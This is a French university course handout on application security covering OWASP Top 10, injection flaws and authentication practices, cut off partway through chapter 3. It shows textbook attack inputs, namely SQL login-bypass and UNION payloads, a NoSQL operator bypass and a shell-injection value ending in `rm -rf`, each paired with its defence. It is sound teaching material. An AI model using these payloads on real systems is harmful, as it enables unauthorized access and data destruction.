

SUPPORT DE COURS COMPLET

Sécurité des applications

16h CM · 8h TP · 24h

Dr. Zakaria Sawadogo

École Polytechnique de Ouagadougou



Sommaire

Syllabus

1. Chapitre 1 — Introduction et panorama OWASP Top 10
2. Chapitre 2 — Vulnérabilités d'injection
3. Chapitre 3 — Authentification et gestion de sessions
4. Chapitre 4 — Vulnérabilités côté client : XSS, CSRF, clickjacking
5. Chapitre 5 — Vulnérabilités mémoire bas niveau et exploitation
6. Chapitre 6 — Sécurisation des API et bonnes pratiques

Sécurité des applications

Volume horaire : 16h CM · 8h TP (24h)

Objectifs pédagogiques

- Connaître en détail les principales classes de vulnérabilités applicatives (OWASP Top 10) et leurs mécanismes d'exploitation.
- Comprendre les vulnérabilités mémoire bas niveau et leur lien avec les compétences du module *Algorithmique et Programmation en C*.
- Savoir concevoir et développer des contre-mesures efficaces à chaque classe de vulnérabilité.
- Sécuriser une API REST selon les bonnes pratiques actuelles.

Prérequis

Ce module s'appuie fortement sur *Algorithmique et Programmation en C* (chapitre vulnérabilités mémoire), *Audit organisation et technique* (méthodologie de test, OWASP Top 10 déjà introduit) et *Security by design* (principes de conception, à appliquer concrètement ici).

Plan de séances

Cours magistraux (16h)

Séance	Chapitre	Durée
1	Introduction et panorama OWASP Top 10	2h
2	Vulnérabilités d'injection	3h
3	Authentification et gestion de sessions	3h
4	Vulnérabilités côté client : XSS, CSRF, clickjacking	3h
5	Vulnérabilités mémoire bas niveau et exploitation	2h
6	Sécurisation des API et bonnes pratiques	3h

Travaux pratiques (8h)

Séance	Sujet	Durée
1	Injection SQL et contre-mesures	2h
2	XSS et CSRF sur application vulnérable	2h

Séance	Sujet	Durée
3	Exploitation contrôlée d'un buffer overflow en C	2h
4	Sécurisation d'une API REST	2h

Évaluation

- TP notés : 40 %
- Analyse de vulnérabilité (CVE réelle au choix, rapport écrit) : 20 %
- Examen final : 40 %

Cadre légal

Comme pour le module *Audit organisation et technique*, toute manipulation d'exploitation s'effectue exclusivement sur des cibles pédagogiques déployées localement (DVWA, Juice Shop, binaires fournis pour le TP3). Aucune manipulation n'est autorisée en dehors de ce cadre.

Bibliographie

- OWASP Top 10, OWASP Application Security Verification Standard (ASVS), OWASP Cheat Sheet Series.
- E. Foster et al., *Buffer Overflow Attacks*.
- Documentation OWASP API Security Top 10.

Chapitre 1 — Introduction et panorama OWASP Top 10

1. Pourquoi la sécurité applicative est un enjeu central

Les applications (web, mobiles, API) constituent aujourd'hui la surface d'attaque la plus exposée et la plus dynamique des systèmes d'information : accessibles depuis Internet, mises à jour fréquemment, développées avec de nombreuses dépendances tierces. Ce module approfondit chaque classe de vulnérabilité déjà introduite au module *Audit organisation et technique* (chapitre 5), avec un objectif de compréhension technique fine et de mise en œuvre de contre-mesures.

Plusieurs facteurs structurels expliquent pourquoi la couche applicative concentre une part croissante du risque :

- **Exposition directe** : contrairement à un serveur de fichiers interne, une application web ou une API est, par nature, accessible depuis l'extérieur du périmètre réseau, souvent sans intermédiaire filtrant le trafic applicatif en profondeur.
- **Rythme de changement élevé** : le code applicatif évolue en continu (intégration et déploiement continus — CI/CD), ce qui multiplie les occasions d'introduire une régression de sécurité par rapport à une infrastructure plus stable.
- **Dépendances tierces massives** : une application moderne s'appuie sur des dizaines, voire des centaines de bibliothèques externes, dont chacune peut receler une vulnérabilité qui n'a rien à voir avec le code écrit par l'équipe de développement (thème approfondi dans la catégorie « composants vulnérables » ci-dessous).
- **Complexité fonctionnelle** : plus une application offre de fonctionnalités et de points d'entrée (formulaires, téléversements de fichiers, API, webhooks), plus sa surface d'attaque s'étend mécaniquement.

Sécurité applicative et cycle de vie du logiciel (SDLC)

Un principe désormais largement partagé dans l'industrie est celui du « **shift left** » : plus une vulnérabilité est détectée tôt dans le cycle de développement (conception, code, intégration) plutôt qu'une fois l'application en production, moins son traitement est coûteux et risqué. Ce module s'inscrit dans cette logique en formant à la compréhension technique des vulnérabilités *avant* leur exploitation, en cohérence avec les principes de *security by design* déjà vus dans un module précédent : la sécurité n'est pas une étape ajoutée après coup, mais une propriété construite dès la conception.

2. Rappel du classement OWASP Top 10 (édition de référence)

L'**OWASP (Open Worldwide Application Security Project)** est une fondation à but non lucratif qui publie, entretient et met à jour des référentiels de sécurité applicative reconnus internationalement. Le **OWASP Top 10** en est le produit le plus connu : un classement des dix catégories de risques applicatifs jugées les plus critiques, révisé périodiquement à partir de données de contributeurs et de retours de la communauté de la sécurité applicative.

#	Catégorie	Description synthétique
1	Contrôle d'accès défaillant (<i>broken access control</i>)	Un utilisateur parvient à agir en dehors des permissions qui lui sont normalement attribuées (accès aux données d'un autre utilisateur, élévation de privilèges).
2	Défaillances cryptographiques	Données sensibles insuffisamment protégées en transit ou au repos (algorithmes obsolètes, absence de chiffrement, mauvaise gestion des clés).
3	Injection	Une donnée non fiable est interprétée comme du code par un interpréteur (SQL, shell, LDAP...) — objet du chapitre 2.
4	Conception non sécurisée (<i>insecure design</i>)	Faible structurelle présente dès la phase de conception, qu'aucune implémentation soignée ne peut corriger a posteriori.
5	Mauvaise configuration de sécurité	Paramètres par défaut non durcis, fonctionnalités inutiles activées, messages d'erreur trop verbeux.
6	Composants vulnérables et obsolètes	Utilisation de bibliothèques ou de frameworks contenant des vulnérabilités connues et non corrigées.
7	Défaillances d'identification et d'authentification	Mécanismes d'authentification ou de session mal conçus ou mal implémentés — objet du chapitre 3.
8	Défaillances d'intégrité des données et logiciels	Absence de vérification de l'intégrité du code ou des données (mises à jour non signées, désérialisation non fiable).
9	Journalisation et surveillance insuffisantes	Impossibilité de détecter, d'investiguer ou de réagir à une compromission faute de traces exploitables.
10	Falsification de requête côté serveur (SSRF)	Le serveur est amené à émettre, à l'insu de son propriétaire, une requête vers une ressource choisie par l'attaquant.

Ce classement évolue périodiquement en fonction des données réelles de vulnérabilités observées ; il reste la référence pédagogique et professionnelle la plus largement adoptée pour structurer un programme de sécurité applicative. Il convient toutefois de le considérer comme un **point de départ pédagogique et non comme une checklist exhaustive** : une application peut être vulnérable à un risque non couvert explicitement par ces dix catégories, et la maîtrise des *principes* sous-jacents (validation, moindre privilège, défense en profondeur) importe davantage que la mémorisation du classement lui-même.

CWE, CVE et OWASP Top 10 : trois référentiels à ne pas confondre

- **CWE (Common Weakness Enumeration)** : catalogue de *types génériques* de faiblesses logicielles (ex. CWE-89 pour l'injection SQL), indépendant de tout logiciel particulier. L'OWASP Top 10 s'appuie largement sur des regroupements de CWE.
- **CVE (Common Vulnerabilities and Exposures)** : identifiant unique attribué à une vulnérabilité *précise*, découverte dans un logiciel ou une version donnée (ex. une faille spécifique d'une bibliothèque particulière). Une CVE correspond en général à une ou plusieurs CWE.

- **OWASP Top 10** : classement pédagogique et stratégique de *catégories* de risques applicatifs, destiné à orienter les priorités de formation et de traitement, plutôt qu'un inventaire exhaustif de vulnérabilités individuelles.

3. Principe général : ne jamais faire confiance aux entrées

Le fil conducteur de la quasi-totalité des vulnérabilités applicatives est le même : **une donnée provenant d'une source non fiable (utilisateur, système tiers) est traitée comme si elle était fiable**, sans validation ni neutralisation appropriée avant d'être utilisée dans un contexte sensible (requête base de données, commande système, page HTML, chemin de fichier). Ce principe unificateur permet d'aborder chaque classe de vulnérabilité du module comme une variation d'un même problème fondamental, appliqué à des contextes différents.

Le tableau suivant illustre ce principe unique appliqué à des contextes très différents, chacun développé dans un chapitre ultérieur :

Contexte d'utilisation de la donnée	Conséquence d'une confiance mal placée	Chapitre
Requête SQL	Injection SQL	2
Page HTML rendue au navigateur	Cross-Site Scripting (XSS)	4
Commande shell système	Injection de commande	2
Chemin de fichier sur le serveur	Traversée de répertoire (<i>path traversal</i>), lecture ou écriture de fichiers arbitraires	2 et 6
Fonction de désérialisation	Exécution de code arbitraire via un objet forgé	5 et 6
Requête HTTP sortante émise par le serveur	SSRF	6

Il ne s'agit pas d'une liste close : toute nouvelle technologie qui interprète une donnée d'entrée d'une façon ou d'une autre est potentiellement concernée par une nouvelle variante de ce même principe.

« Toute entrée » inclut plus que les formulaires

Une erreur pédagogique fréquente consiste à limiter mentalement la notion d'« entrée utilisateur » aux champs de formulaire visibles. En réalité, constituent également des entrées non fiables : les en-têtes HTTP (dont le `User-Agent`, le `Referer`, ou des en-têtes personnalisés), les cookies, les paramètres d'URL, le contenu de fichiers téléversés (y compris leurs métadonnées), les réponses d'API tierces, et même des données déjà stockées en base si elles ont été insérées via un canal non fiable en amont. Le principe de méfiance systématique s'applique à toute donnée qui n'a pas été produite et contrôlée exclusivement par le code de confiance lui-même.

4. Validation, encodage, échappement : trois mécanismes distincts à ne pas confondre

- **Validation** : vérifier qu'une entrée respecte un format attendu (ex. une adresse e-mail respecte une syntaxe donnée), idéalement par liste blanche (n'accepter que ce qui est explicitement autorisé) plutôt que par liste noire (tenter de bloquer ce qui est connu comme dangereux, toujours incomplète).
- **Encodage/échappement contextuel** : transformer une donnée pour qu'elle soit interprétée comme une donnée inerte et non comme du code exécutable dans le contexte de sortie visé (ex. échapper les caractères spéciaux HTML avant insertion dans une page, pour prévenir le XSS — chapitre 4).
- **Paramétrage** : séparer structurellement le code de la donnée (ex. requêtes préparées en base de données — chapitre 2), la meilleure défense car elle élimine la classe de vulnérabilité par construction plutôt que de tenter de neutraliser après coup une donnée déjà mélangée au code.

Pourquoi la liste blanche est structurellement supérieure à la liste noire

Une liste noire tente d'énumérer *a priori* tous les motifs dangereux possibles (ex. bloquer les chaînes contenant `<script>`). Ce raisonnement échoue presque systématiquement, pour deux raisons : d'une part, il existe souvent de multiples façons syntaxiques d'exprimer la même charge malveillante (variations de casse, encodages alternatifs, espaces insérés), rendant l'énumération incomplète par construction ; d'autre part, une liste noire doit être mise à jour à chaque nouvelle technique de contournement découverte, alors qu'une liste blanche (n'accepter que des caractères ou motifs explicitement autorisés, ex. uniquement des chiffres pour un identifiant numérique) reste valide indépendamment des techniques de contournement inventées ultérieurement.

Encodage : un mécanisme intrinsèquement contextuel

Un piège pédagogique fréquent consiste à croire qu'il existe « un » encodage universel suffisant pour se protéger. En réalité, l'encodage correct dépend strictement du contexte de sortie où la donnée est insérée :

Contexte de sortie	Encodage attendu	Exemple de transformation
Corps HTML	Encodage d'entités HTML	<code><</code> devient <code>&lt;</code>
Attribut HTML	Encodage d'entités HTML (y compris guillemets)	<code>"</code> devient <code>&quot;</code>
Bloc JavaScript inline	Échappement JavaScript spécifique	<code>'</code> devient <code>\'</code>
Paramètre d'URL	Encodage pourcentage (<i>percent-encoding</i>)	l'espace devient <code>%20</code>
Requête SQL	Paramétrage (préféré) ou échappement propre au moteur	—

Appliquer un encodage HTML à une donnée insérée dans un bloc `<script>` par exemple, ne protège pas contre une injection JavaScript : chaque contexte exige sa propre règle d'encodage, ce qui explique pourquoi les frameworks modernes automatisent ce choix en fonction du contexte de rendu plutôt que de laisser le développeur le déterminer manuellement à chaque insertion.

5. Défense en profondeur appliquée à la sécurité applicative

Rappel du module *Security by design* : aucune contre-mesure unique n'est infaillible. Une application robuste combine validation des entrées, requêtes paramétrées, contrôle d'accès systématique, moindre privilège des comptes de service, journalisation, et surveillance — de sorte qu'une défaillance isolée d'une couche ne suffise pas à compromettre l'ensemble.

Concrètement, pour une seule et même vulnérabilité potentielle (par exemple une injection SQL), plusieurs couches de défense indépendantes peuvent chacune réduire le risque, même si une couche précédente échoue :

1. **Validation d'entrée** en amont (liste blanche sur le format attendu).
2. **Paramétrage** de la requête (élimine la classe de vulnérabilité par construction).
3. **Moindre privilège** du compte de base de données utilisé par l'application (même en cas d'injection réussie, l'impact reste borné aux permissions du compte).
4. **Journalisation et détection** d'un comportement anormal (requêtes en échec répétées, motifs typiques d'injection).
5. **Isolation réseau** de la base de données, non directement joignable depuis Internet.

Ce raisonnement en couches — dit aussi principe du « fail securely » (en cas d'échec d'un contrôle, le système doit basculer vers un état restrictif et non vers un état permissif par défaut) — constitue la grille de lecture appliquée systématiquement dans les chapitres suivants.

6. Méthodologie de ce module

Chaque chapitre suivant traite une famille de vulnérabilités selon la même structure : mécanisme technique de la vulnérabilité, exemple d'exploitation, impact, contre-mesures. Les TP associés permettent une mise en pratique contrôlée sur des cibles pédagogiques dédiées.

Panorama des outils et méthodes de détection

Au-delà de la compréhension manuelle de chaque vulnérabilité, il existe des familles d'outils standards permettant d'automatiser une partie de leur détection, dont la connaissance générale relève de la culture professionnelle attendue en fin de module :

Catégorie d'outil	Principe	Moment d'utilisation typique
SAST (<i>Static Application Security Testing</i>)	Analyse du code source sans l'exécuter, à la recherche de motifs de code potentiellement vulnérables.	Pendant le développement, intégrable en CI/CD.

Catégorie d'outil	Principe	Moment d'utilisation typique
DAST (<i>Dynamic Application Security Testing</i>)	Analyse de l'application en cours d'exécution, en lui envoyant des requêtes de test (« boîte noire »).	Sur un environnement de test ou de pré-production.
SCA (<i>Software Composition Analysis</i>)	Inventaire des dépendances tierces et vérification de leur exposition à des vulnérabilités connues (catégorie 6 du Top 10).	En continu, à chaque mise à jour de dépendance.
Test d'intrusion (pentest) manuel	Exploitation active, par un humain, de vulnérabilités identifiées ou découvertes, avec une compréhension du contexte métier que l'automatisation ne restitue pas.	Ponctuellement, en complément des outils automatisés.

Aucun de ces outils n'est suffisant isolément : le SAST génère des faux positifs et ne « voit » pas les vulnérabilités de logique métier, le DAST ne couvre que les chemins effectivement testés, le SCA ne détecte que les vulnérabilités déjà répertoriées publiquement. Leur combinaison, complétée par une revue humaine, reste la pratique recommandée.

À retenir

- L'OWASP Top 10 structure ce module ; chaque chapitre suivant approfondit une ou plusieurs de ses catégories. Il constitue un point de départ pédagogique, pas une checklist exhaustive.
- Le principe unificateur des vulnérabilités applicatives est le traitement d'une entrée non fiable comme si elle était fiable, quel que soit le contexte technique (SQL, HTML, shell, chemin de fichier, désérialisation, requête sortante).
- Validation par liste blanche, encodage contextuel et paramétrage sont trois mécanismes de défense distincts, souvent combinés ; l'encodage doit impérativement être adapté au contexte de sortie exact.
- La défense en profondeur consiste à empiler plusieurs contrôles indépendants, de sorte que l'échec d'une seule couche ne suffise pas à compromettre l'application entière.
- SAST, DAST, SCA et test d'intrusion manuel sont des familles d'outils complémentaires de détection, chacune avec ses forces et ses limites propres.

Chapitre 2 — Vulnérabilités d'injection

1. Principe général de l'injection

Une injection se produit lorsqu'une donnée fournie par un utilisateur est concaténée directement dans une commande, une requête ou un interpréteur, sans séparation stricte entre code et donnée, permettant à l'attaquant de modifier la structure ou la sémantique de la commande exécutée.

Ce mécanisme repose sur une confusion fondamentale : l'interpréteur cible (moteur SQL, shell, moteur de gabarit) ne dispose d'aucun moyen de distinguer, dans une chaîne de caractères reçue, ce qui relève de la structure voulue par le développeur et ce qui provient de l'utilisateur. Tant que code et donnée circulent mélangés dans le même flux textuel, cette ambiguïté reste exploitable. C'est précisément cette observation qui explique pourquoi la défense structurelle privilégiée, dans tous les cas étudiés ci-dessous, consiste à séparer physiquement le canal du code de celui de la donnée plutôt qu'à tenter de « nettoyer » la donnée après coup.

2. Injection SQL

Exemple de code vulnérable

```
-- Requête construite par concaténation de chaînes
requete = "SELECT * FROM utilisateurs WHERE login = '" + login + "' AND motdepasse = '"
```

Si `login` reçoit la valeur `admin' --`, la requête devient :

```
SELECT * FROM utilisateurs WHERE login = 'admin' -- ' AND motdepasse = '...'
```

Le `--` commente le reste de la requête (syntaxe SQL) : la vérification du mot de passe est neutralisée, permettant une connexion en tant qu'`admin` sans en connaître le mot de passe.

Injection UNION-based

Une injection peut aussi être utilisée pour extraire des données d'autres tables via l'opérateur `UNION SELECT`, si le nombre et le type de colonnes sont devinés ou déduits par tâtonnement (technique pratiquée en TP1). Le principe général : l'attaquant ajoute une seconde requête `SELECT` combinée par `UNION` à la requête d'origine, dont le résultat vient s'afficher dans la même zone de la page que le résultat légitime attendu, révélant ainsi des données d'une table totalement différente (ex. une table de comptes administrateurs).

```
-- Requête légitime attendue : afficher le nom d'un produit à partir de son identifiant
SELECT nom, prix FROM produits WHERE id = 12

-- Entrée malveillante substituée à l'identifiant :
-- 12 UNION SELECT login, motdepasse FROM utilisateurs --
SELECT nom, prix FROM produits WHERE id = 12 UNION SELECT login, motdepasse FROM utilis
```

Pour que cette technique fonctionne, l'attaquant doit d'abord déterminer le nombre exact de colonnes de la requête d'origine (souvent par tâtonnement avec la clause `ORDER BY N`, en augmentant `N` jusqu'à provoquer une erreur), puis leur type compatible, avant de pouvoir aligner sa requête `UNION SELECT` sur cette structure.

Injection en aveugle (blind SQL injection)

Lorsque l'application ne retourne pas directement le résultat de la requête mais seulement un comportement différent (page d'erreur, temps de réponse), un attaquant peut néanmoins extraire des données bit par bit en observant ces différences (injection booléenne ou temporelle).

- **Injection booléenne** : l'attaquant formule une condition qui rend la requête vraie ou fausse (ex. « le premier caractère du mot de passe de l'administrateur est-il supérieur à `m` ? ») et observe une différence de comportement (page affichée normalement contre page d'erreur, ou contenu légèrement différent), permettant de reconstruire l'information caractère par caractère par dichotomie.
- **Injection temporelle** : en l'absence de toute différence observable dans la réponse elle-même, l'attaquant insère une instruction provoquant un délai conditionnel côté base de données (ex. une fonction de mise en pause exécutée uniquement si la condition testée est vraie) et déduit la réponse du temps de réponse observé plutôt que du contenu de la page.

Ces deux variantes illustrent un point pédagogique important : l'absence de message d'erreur explicite révélant le contenu de la base de données **ne suffit pas** à protéger une application contre l'extraction de données via injection SQL ; seule l'élimination structurelle de la vulnérabilité (requêtes préparées) constitue une protection fiable.

Contre-mesure de référence : requêtes préparées (paramétrées)

```
requete = "SELECT * FROM utilisateurs WHERE login = ? AND motdepasse = ?"
executer(requete, [login, motdepasse])
```

La donnée est transmise séparément de la structure de la requête au moteur de base de données, qui ne l'interprète jamais comme du code SQL, quel que soit son contenu. C'est la défense structurelle recommandée en priorité, à préférer systématiquement à un simple échappement de caractères spéciaux (plus fragile et sujet à contournement).

Pièges fréquents avec les ORM (Object-Relational Mapping)

L'utilisation d'un ORM (mécanisme traduisant automatiquement des objets du langage applicatif en requêtes SQL) ne protège pas automatiquement contre l'injection SQL si le développeur contourne son mode d'utilisation sûr par défaut :

```
# Vulnérable : construction manuelle d'une clause brute passée à l'ORM
resultats = Utilisateur.objects.raw(
    "SELECT * FROM utilisateurs WHERE nom = '" + nom_recherche + "'"
)

# Sûr : utilisation de l'API de requête paramétrée de l'ORM
resultats = Utilisateur.objects.filter(nom=nom_recherche)
```

La plupart des ORM modernes proposent, en usage standard, un paramétrage automatique des requêtes ; le risque réapparaît dès qu'un développeur revient à une requête « brute » construite par concaténation de chaînes pour un besoin non couvert par l'API de haut niveau — situation fréquente en pratique et donc à surveiller particulièrement en revue de code.

3. Injection de commande système

```
char commande[100];
snprintf(commande, sizeof(commande), "ping -c 1 %s", entree_utilisateur);
system(commande);
```

Si `entree_utilisateur` vaut `8.8.8.8; rm -rf /donnees`, la commande système exécutée exécute en réalité deux commandes distinctes, la seconde étant totalement contrôlée par l'attaquant. **Contre-mesure** : éviter autant que possible d'appeler un interpréteur de commande shell avec des données utilisateur ; si indispensable, utiliser des API d'exécution de processus qui séparent explicitement la commande de ses arguments (sans passer par un shell interprétant les métacaractères), et valider strictement le format attendu (liste blanche).

```
// Approche préférable : appel direct du programme, arguments séparés,
// sans passer par un interpréteur shell intermédiaire.
char *arguments[] = {"ping", "-c", "1", entree_utilisateur, NULL};
execv("/bin/ping", arguments);
```

Même dans ce second exemple, une validation stricte du format de `entree_utilisateur` (ex. une adresse IP ou un nom d'hôte conforme à une syntaxe attendue) reste nécessaire : l'absence d'interpréteur shell élimine l'enchaînement de commandes via `;`, `&&` ou `|`, mais ne garantit pas à elle seule que la donnée transmise au programme cible est inoffensive dans tous les cas (le programme appelé peut lui-même interpréter certains arguments de façon dangereuse selon son propre comportement).

4. Autres formes d'injection

Type	Contexte	Exemple
LDAP injection	annuaires d'authentification	manipulation d'un filtre de recherche LDAP
XPath injection	requêtes sur documents XML	équivalent de l'injection SQL pour XPath
NoSQL injection	bases de données non relationnelles	injection d'opérateurs de requête dans un objet JSON mal validé
Injection de gabarit côté serveur (SSTI)	moteurs de templates web	exécution de code via une syntaxe de template non neutralisée
Injection de code (command/eval injection)	fonctions d'évaluation dynamique de code	passage direct d'une entrée utilisateur à une fonction <code>eval()</code> ou équivalente

Approfondissement : injection NoSQL

Contrairement à l'injection SQL, l'injection NoSQL n'exploite généralement pas une concaténation de chaînes de caractères mais une confusion de *type* de donnée transmise à une requête structurée en objet (JSON par exemple). Si une application construit sa requête à partir directement de l'objet JSON reçu du client, sans en valider la structure attendue, un attaquant peut substituer une valeur simple par un opérateur de requête :

```
// Requête attendue par le développeur : { "motdepasse": "azerty123" }
// Entrée malveillante envoyée par l'attaquant :
{ "login": "admin", "motdepasse": { "$ne": null } }

// Si l'application transmet directement cet objet au moteur de requête
// sans vérifier que motdepasse est bien une chaîne de caractères simple,
// l'opérateur "$ne" (différent de) est interprété par le moteur NoSQL :
// la condition devient "le mot de passe est différent de null",
// vraie pour tout compte possédant un mot de passe, contournant ainsi
// totalement la vérification attendue.
```

Contre-mesure : valider strictement le *type* attendu de chaque champ (imposer explicitement une chaîne de caractères pour un mot de passe, rejeter tout objet ou tableau reçu là où une valeur simple est attendue), en complément du paramétrage lorsque le moteur NoSQL utilisé le propose.

Approfondissement : injection de gabarit côté serveur (SSTI)

Les moteurs de gabarits (templates) permettent d'insérer dynamiquement du contenu dans un document (page HTML, e-mail) à partir d'une syntaxe dédiée. Une SSTI survient lorsqu'une entrée utilisateur est insérée non pas comme *donnée* affichée par le gabarit, mais comme *code de gabarit lui-même*, évalué par le moteur :

```
<!-- Vulnérable : le nom saisi par l'utilisateur est directement
      interprété comme faisant partie du gabarit -->
Bonjour {{ nom_utilisateur }}

<!-- Si nom_utilisateur vaut "{{ 7*7 }}", un moteur de gabarit vulnérable
      affichera "49" au lieu du texte littéral : la donnée a été évaluée
      comme du code de gabarit. Selon le moteur utilisé, cette même
      confusion peut être poussée jusqu'à l'exécution de code arbitraire
      côté serveur, un impact bien plus grave qu'un simple XSS. -->
```

La SSTI illustre bien le principe unificateur du chapitre 1 : la même confusion entre code et donnée, appliquée cette fois au contexte d'un moteur de gabarit plutôt qu'à un moteur SQL ou un shell système. **Contre-mesure** : ne jamais construire dynamiquement la chaîne de gabarit elle-même à partir d'une entrée utilisateur (seul le contenu inséré *dans* les emplacements prévus du gabarit doit provenir de l'utilisateur, jamais la structure du gabarit).

5. Principe de défense commun

Quelle que soit la variante, la défense structurelle privilégiée est la **séparation stricte entre code et donnée** (requêtes paramétrées, API d'exécution sans interprétation shell, désactivation des fonctionnalités dynamiques dangereuses des moteurs de template), complétée par une validation stricte des entrées en liste blanche et le principe du moindre privilège pour le compte utilisé par l'application (un compte de base de données en lecture seule limite l'impact même en cas d'injection réussie).

Détection : outils et pratiques standards

- **Analyse statique (SAST)** : détection de motifs de concaténation de chaînes utilisés directement dans un appel de requête ou de commande, sans passer par une API paramétrée reconnue.
- **Analyse dynamique (DAST) et pentest** : envoi automatisé de charges de test connues (caractères spéciaux, séquences typiques d'injection) sur chaque point d'entrée, avec observation des réponses et des temps de réponse — principe déjà évoqué avec l'injection en aveugle.
- **Revue de code ciblée** : toute utilisation d'une API de requête « brute » (contournant le mode paramétré par défaut d'un ORM ou d'un pilote de base de données) mérite une attention particulière en revue de code, comme évoqué en section 2.
- **Pare-feu applicatif (WAF)** : mesure de défense complémentaire (et non substitutive) filtrant certains motifs d'attaque connus au niveau du trafic HTTP, utile en couche supplémentaire mais insuffisante seule car contournable par des variantes non répertoriées.

À retenir

- L'injection résulte du mélange entre code et donnée non fiable dans un même flux interprété, quel que soit l'interpréteur cible (SQL, shell, LDAP, XPath, NoSQL, moteur de gabarit).
- Les requêtes préparées constituent la défense de référence contre l'injection SQL, structurellement plus robuste qu'un simple échappement ; ce même principe de paramétrage doit

être recherché pour chaque variante d'injection rencontrée.

- L'injection en aveugle rappelle que l'absence de message d'erreur explicite ne suffit pas à protéger une application : seule l'élimination structurelle de la vulnérabilité est fiable.
- L'usage d'un ORM ne protège pas automatiquement contre l'injection SQL dès lors qu'un développeur revient à une requête construite manuellement par concaténation.
- Le principe de moindre privilège du compte applicatif limite l'impact même en cas de contournement des autres défenses ; un WAF constitue une couche complémentaire utile mais jamais suffisante seule.

Chapitre 3 — Authentification et gestion de sessions

1. Authentification : rappels et bonnes pratiques

Stockage des mots de passe

Rappel des modules *Cryptanalyse* et *Cryptographie* : un mot de passe ne doit jamais être stocké en clair, ni haché avec une fonction générique rapide seule (SHA-256 brut) ; utiliser une fonction dédiée et volontairement lente, salée (bcrypt, scrypt, Argon2).

Cette exigence découle directement d'une différence de finalité entre les fonctions de hachage génériques (conçues pour être rapides, ex. vérifier l'intégrité d'un fichier volumineux) et les fonctions dédiées au mot de passe (conçues au contraire pour être lentes et coûteuses en ressources, précisément pour ralentir un attaquant tentant de tester un grand nombre de mots de passe candidats après le vol d'une base de hachages) :

```
# Vulnérable : hachage rapide, sans sel, trivialement cassable
# par table arc-en-ciel ou par force brute massivement parallélisée
motdepasse_stocke = sha256(motdepasse).hexdigest()

# Correct : fonction dédiée, lente, avec sel généré aléatoirement
# et intégré automatiquement au résultat stocké
motdepasse_stocke = bcrypt.hashpw(motdepasse, bcrypt.gensalt(rounds=12))
```

Trois propriétés distinctes doivent être réunies :

- **Sel (*salt*)** unique par utilisateur, empêchant qu'un même mot de passe produise le même hachage pour deux comptes différents, et rendant inefficaces les tables précalculées (tables arc-en-ciel).
- **Facteur de travail (*work factor*) réglable** : le nombre d'itérations internes de l'algorithme (paramètre `rounds` ci-dessus pour bcrypt) peut être augmenté progressivement à mesure que la puissance de calcul disponible pour un attaquant augmente, sans changer d'algorithme.
- **Résistance au calcul massivement parallèle (GPU/ASIC)** : Argon2 et scrypt, en plus d'être lents, consomment volontairement une quantité importante de mémoire, ce qui limite l'efficacité d'un parallélisme massif bon marché typique des architectures GPU, contrairement à des fonctions peu gourmandes en mémoire.

Politique de mots de passe

Les recommandations actuelles (NIST SP 800-63B notamment) privilégient une **longueur minimale suffisante** (12 caractères ou plus) plutôt que des règles de composition complexes peu efficaces en pratique (les utilisateurs contournent des règles trop contraignantes par des motifs prévisibles) ; vérification contre des listes de mots de passe déjà compromis (recommandée) ; suppression de l'expiration périodique forcée sans raison (mesure historiquement répandue mais aujourd'hui considérée contre-productive, car elle pousse à des variations prévisibles).

Le raisonnement sous-jacent à cette évolution des recommandations mérite d'être compris plutôt que simplement mémorisé : une règle imposant, par exemple, au moins une majuscule, un chiffre et un caractère spécial, conduit en pratique une majorité d'utilisateurs à produire des motifs très prévisibles (une majuscule en première position, un chiffre ou un caractère spécial en fin de chaîne), motifs qu'un attaquant expérimenté intègre directement dans ses dictionnaires d'attaque. Une phrase de passe longue mais simple à composer (plusieurs mots assemblés) offre, à effort de mémorisation comparable pour l'utilisateur, un espace de recherche bien plus large pour l'attaquant.

Authentification multi-facteurs (MFA)

Combine au moins deux catégories parmi : ce que l'utilisateur **sait** (mot de passe), ce qu'il **possède** (application d'authentification, clé de sécurité physique), ce qu'il **est** (biométrie). Réduit fortement l'impact d'un mot de passe compromis (par phishing, fuite de données, réutilisation).

Facteur	Exemple	Point de vigilance
Code à usage unique par SMS	code reçu par message texte	vulnérable au détournement de numéro de téléphone (SIM swapping) et à l'interception réseau ; facteur le moins robuste des trois exemples
Application d'authentification (TOTP)	code à usage unique généré localement, basé sur un secret partagé et l'heure courante	ne dépend pas du réseau téléphonique ; nécessite néanmoins que le secret initial soit transmis et stocké de façon sûre lors de l'enregistrement
Clé de sécurité physique (FIDO2/WebAuthn)	clé USB ou NFC dédiée	résistant au phishing par construction, car la clé vérifie cryptographiquement l'origine du site avant de répondre, contrairement aux deux facteurs précédents

Un point de vigilance pédagogique important : la MFA réduit le risque associé à un facteur compromis, mais n'élimine pas le besoin des autres bonnes pratiques (stockage correct des mots de passe, limitation des tentatives) ; elle s'ajoute à la défense en profondeur plutôt que de la remplacer.

2. Défaillances d'authentification fréquentes

Défaillance	Risque
Absence de limitation du nombre de tentatives	attaque par force brute ou par dictionnaire praticable
Messages d'erreur distinguant « utilisateur inconnu » de « mot de passe incorrect »	permet à un attaquant d'énumérer les comptes existants
Absence de MFA sur les comptes à privilèges	un mot de passe compromis suffit à compromettre un compte critique

Défaillance	Risque
Réinitialisation de mot de passe mal sécurisée	jeton de réinitialisation prévisible ou sans expiration, permettant une prise de contrôle de compte
Credential stuffing non contrôlé	réutilisation automatisée de couples identifiant/mot de passe issus de fuites de données antérieures sur d'autres services

Illustration : énumération de comptes par message d'erreur

```
# Vulnérable : deux messages distincts révèlent l'existence du compte
"Ce nom d'utilisateur n'existe pas."
"Mot de passe incorrect pour cet utilisateur."

# Correct : un message unique, indépendant de la cause réelle de l'échec
"Identifiant ou mot de passe incorrect."
```

Le même principe de non-distinction s'applique au *temps de réponse* : si la vérification du mot de passe n'est effectuée que lorsque le login existe (court-circuit), le temps de réponse diffère selon les cas et peut, à lui seul, permettre à un attaquant d'énumérer les comptes existants même avec un message d'erreur unique — d'où l'intérêt de toujours effectuer une opération de temps comparable (par exemple une vérification de hachage factice) même lorsque le login n'existe pas.

Réinitialisation de mot de passe : exigences

Un flux de réinitialisation de mot de passe doit réunir plusieurs propriétés simultanément pour rester sûr : jeton **imprévisible** (généré par un générateur aléatoire cryptographiquement sûr, jamais dérivé d'une information devinable comme l'horodatage), **à usage unique, de durée de vie limitée** (quelques minutes à quelques heures selon la sensibilité), et **invalidé** dès qu'un nouveau mot de passe a été défini ou qu'une nouvelle demande de réinitialisation a été émise. L'e-mail ou le canal utilisé pour transmettre ce jeton doit lui-même être considéré comme faisant partie du périmètre de sécurité du compte.

Limitation des tentatives et *credential stuffing*

